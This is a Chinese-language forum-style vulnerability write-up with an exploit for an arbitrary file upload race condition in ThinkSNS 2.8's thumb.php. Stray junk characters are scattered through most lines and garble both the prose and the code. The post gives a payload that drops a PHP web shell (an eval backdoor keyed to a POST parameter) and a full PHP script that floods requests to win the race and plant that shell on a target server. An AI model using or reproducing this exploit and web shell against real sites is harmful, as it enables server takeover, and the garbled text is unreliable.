漏洞版本
( ^, N" P' g/ T/ f存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
. P8 c3 d; Z- l) a漏洞文件
5 [1 F, p7 t+ c& C- w! r2 W存在漏洞的文件为:thumb.php6 E; I" v) l K
作者:韦鲲鹏& c8 y% i* b6 s) f! r% A6 ]
1、 准备如下PHP文件并上传到服务器(自己的)。
) x. K7 F0 J* p" g. s4 B' x文件内容如下:" o; _( `, G- q: R/ I/ K
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>* o' R, v6 m9 u& I, t7 k
2、 计算出临时的文件名:
: A+ @" m: ^2 j6 f1 p' @# a这里我们可以看文件的99行(刚刚是不是没注意呀!)。' n. H5 u% }- K" W6 \3 k
7 y* T" c! @6 Y. J0 D6 V5 i0 s
3、 上传临时文件。
6 ^" `6 W A8 ?2 o/ ]/ c7 b4、 访问临时文件。* e2 N7 I6 `. Q4 L3 _$ s( C
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)$ R* G* Y; j9 J$ W/ n. E7 x
Exploit文件内容如下:(这个我就不详细解释了)
" ~* F6 ~6 u2 k% L<?php
) {! I& D& [! U0 w) Z! n9 Terror_reporting(0);' X' P9 l0 X8 D) P1 W
set_time_limit(0);/ t" c# ?) G9 X
ini_set(“default_socket_timeout”, 5);
# Z, T% \4 R4 _4 c: }6 j. bfunction http_send($host, $port, $headers) {* p8 F# {& I. R# ?$ i! _ |8 Q l
$fp = fsockopen($host, $port);
1 Q" @9 S+ R+ I2 pif (!$fp) die(‘Connection -> fail’);+ e1 F0 d3 D. E$ J- {
fputs($fp, $headers);
* k y7 ?7 E2 z# sreturn $fp;' ?" \. p# K ^
}
$ s8 p6 b% R, w0 Cfunction http_recv($fp) {3 I8 z+ O5 f! p1 X' \. \( S
$ret=”";" y- Y+ _% ~9 x5 O3 V6 z; Z
while (!feof($fp))
9 _$ B7 G2 Q' ^( K2 \$ret.= fgets($fp, 1024);$ O& N. o- k# C* d
fclose($fp);: Q; ~3 h* b& E" X7 P
return $ret;, E, J* ]; I/ a( d T, c, I) V
}* [4 ^$ v6 Z/ X5 s t* R
print “\n# ThinkSns Arbitrary File Upload #\n”;& ?( q% M; b5 b F; g( L& t0 f7 P; p
print “# Discovered by 韦鲲鹏 #\n\n”;: k& a( H D1 Y- R& ` _" e( B+ G
if ($argc < 4) {
1 v L9 z8 p j; Sprint “Usage: php <host> <path> <romote_url>\n”;
) d! l, T# Q: I& r1 wprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
0 X. A7 H6 w6 Z/ h. Qdie();8 h3 s: {8 r8 V9 s& p
}. Q- U+ V" r% r. r# |. s5 S
$host = $argv[1];( k4 O* c' w+ \& G3 @$ w7 O
$path = $argv[2];$ o9 B9 i/ P3 a5 M
$url = $argv[3];
, a: N+ l. |9 c: K! j5 s$i=0;' W: @9 r( K* A5 P" R
//上传数据包( i4 E; h0 B7 Z4 Y8 U+ b& f& ]* f
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
; q2 ^( O1 X) K$headers_up .= “Host: “.$host.”\r\n”;
2 D8 z# ~) [/ o" O8 m$headers_up .= “Connection: close\r\n\r\n”;7 p, G- w- m! G6 i" W* c( A; {
echo $headers_up;" Z3 w9 |1 h9 _) b; d @+ C8 B
//临时文件访问数据包
; j' ]. E$ e& v) Z* Q# ]$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;4 C. ~7 j( m& F' a/ D
$headers .= “Host: “.$host.”\r\n”;
2 X$ Q0 r/ k! |% B6 Q4 A$ C$headers .= “Connection: close\r\n\r\n”;
6 e$ g/ Z9 Z6 v, [2 }$ b: x; u! Vecho $headers;
h! L& X, a+ n. Twhile(++$i<10) {7 e& s6 M2 z* Z( ]: ?/ I4 p! z
fclose(http_send($host, 80, $headers));# a, T! r s& J, I( Z
}
: T) F/ c$ j. B" L' b% hfclose(http_send($host, 80, $headers_up));
8 o+ F7 O: U0 L. q/ Gwhile(++$i<50) {
7 I+ T" Q1 ~6 j9 [+ c! q: ?) t# {fclose(http_send($host, 80, $headers));
- P! L9 g A# j}
, @1 r4 A, x9 l) ?7 o; c# P2 x% @$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;5 V b9 k( j% b7 r ?: x" _! H
$headers .= “Host: “.$host.”\r\n”;, M6 V$ f( j q- K3 Y
$headers .= “Connection: close\r\n\r\n”;
! o5 ]1 y' _$ g R: d- l$ s5 K$res=http_recv(http_send($host, 80, $headers));
: K$ o! k+ F2 \4 I3 Tif(preg_match(‘/200 OK/’,$res)) {: @7 Y7 y9 X9 h
print “Success!\n\n”;. b8 f# Y% e N& x4 t7 w
} else {
8 [, c6 b: y' S) G& c; q; R) Mprint “Fail!\n\n”;3 v, v/ {7 A8 D$ A7 J" y, z
}9 {: E: j! C( A3 x
?>' O7 O% [7 L7 R8 u; J* L6 K
|